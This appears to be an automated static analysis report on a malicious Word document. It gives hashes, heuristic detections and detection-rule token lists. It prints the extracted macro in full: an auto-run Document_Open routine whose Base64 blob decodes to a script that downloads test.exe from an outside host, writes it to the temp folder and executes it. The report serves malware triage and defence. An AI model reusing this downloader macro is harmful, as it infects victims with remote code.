Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 52ae6496cb2f0359…

MALICIOUS

Office (OOXML)

394.0 KB Created: 2021-04-29 02:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: 20c1a89c41ffbb2ea32253ac1de655bd SHA-1: 81b4bf3c399a1795840eb1dbd2f5bfe912edeaaa SHA-256: 52ae6496cb2f03592e29a9ee9dfe0756f8e78a2e5fe4afa2e562d1069cce78c9
232 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell (Base64Decode("Y21kLmV4ZSAvYyAi") & TempFile & """")
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
        TempFile = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "/serve.vbs"
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        TempFile = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "/serve.vbs"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://hack.amiralrouter.online/test.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2709 bytes
SHA-256: ee5f278463d2749197ee7d883744ca3447fa660ee66e9d432c0d7a75eedb4595
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Function Base64Decode(ByVal base64String)
    Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
    Dim dataLength, sOut, groupBegin
    dataLength = Len(base64String)
    For groupBegin = 1 To dataLength Step 4
        Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
        numDataBytes = 3
        nGroup = 0
        For CharCounter = 0 To 3
            thisChar = Mid(base64String, groupBegin + CharCounter, 1)
            If thisChar = "=" Then
                numDataBytes = numDataBytes - 1
                thisData = 0
            Else
                thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
            End If
            nGroup = 64 * nGroup + thisData
        Next
        nGroup = Hex(nGroup)
        nGroup = String(6 - Len(nGroup), "0") & nGroup
        pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
        
        sOut = sOut & Left(pOut, numDataBytes)
    Next
    Base64Decode = sOut
End Function

Private Sub Document_Open()
    Dim data
    data = data & "ICAgIERpbSB4SHR0cDogU2V0IHhIdHRwID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQogICAgRGltIGJTdHJtOiBTZXQgYlN0cm0gPSBDcmVhdGVP"
    data = data & "YmplY3QoIkFkb2RiLlN0cmVhbSIpDQogICAgeEh0dHAuT3BlbiAiR0VUIiwgImh0dHBzOi8vaGFjay5hbWlyYWxyb3V0ZXIub25saW5lL3Rlc3QuZXhlIiwgRmFsc2UN"
    data = data & "CiAgICB4SHR0cC5TZW5kDQogICAgDQogICAgVGVtcEZpbGUgPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IikuR2V0U3BlY2lhbEZvbGRl"
    data = data & "cigyKSArICIvc2VydmUuZXhlIg0KICAgICANCiAgICBXaXRoIGJTdHJtDQogICAgICAgIC5UeXBlID0gMQ0KICAgICAgICAuT3Blbg0KICAgICAgICAud3JpdGUgeEh0"
    data = data & "dHAucmVzcG9uc2VCb2R5DQogICAgICAgIC5zYXZldG9maWxlIFRlbXBGaWxlLCAyDQogICAgRW5kIFdpdGgNCiAgICAgIA0KICAgIERpbSBvYmpTaGVsbA0KICAgIFNl"
    data = data & "dCBvYmpTaGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQogICAgb2JqU2hlbGwuUnVuIChUZW1wRmlsZSkNCiAgICBTZXQgb2JqU2hlbGwgPSBOb3Ro"
    data = data & "aW5nDQoNCg=="

    Dim TempFile
    TempFile = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "/serve.vbs"
    
    Set File = CreateObject("Scripting.FileSystemObject").CreateTextFile(TempFile, True)
    File.Write Base64Decode(data)
     
    File.Close
    
    Shell (Base64Decode("Y21kLmV4ZSAvYyAi") & TempFile & """")
      
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 806400 bytes
SHA-256: fe5bb284b99f48bd074b41cf1f954a99ab2a39c14430967e9b9008f8b520626f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
5628 of 9120 identifiers look randomly generated (e.g. 'WtIsrVFuYVjLc1UVpSeptCbN8vlEna5VfOZKPv5c'); 91 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 4983 long base64-like blob(s).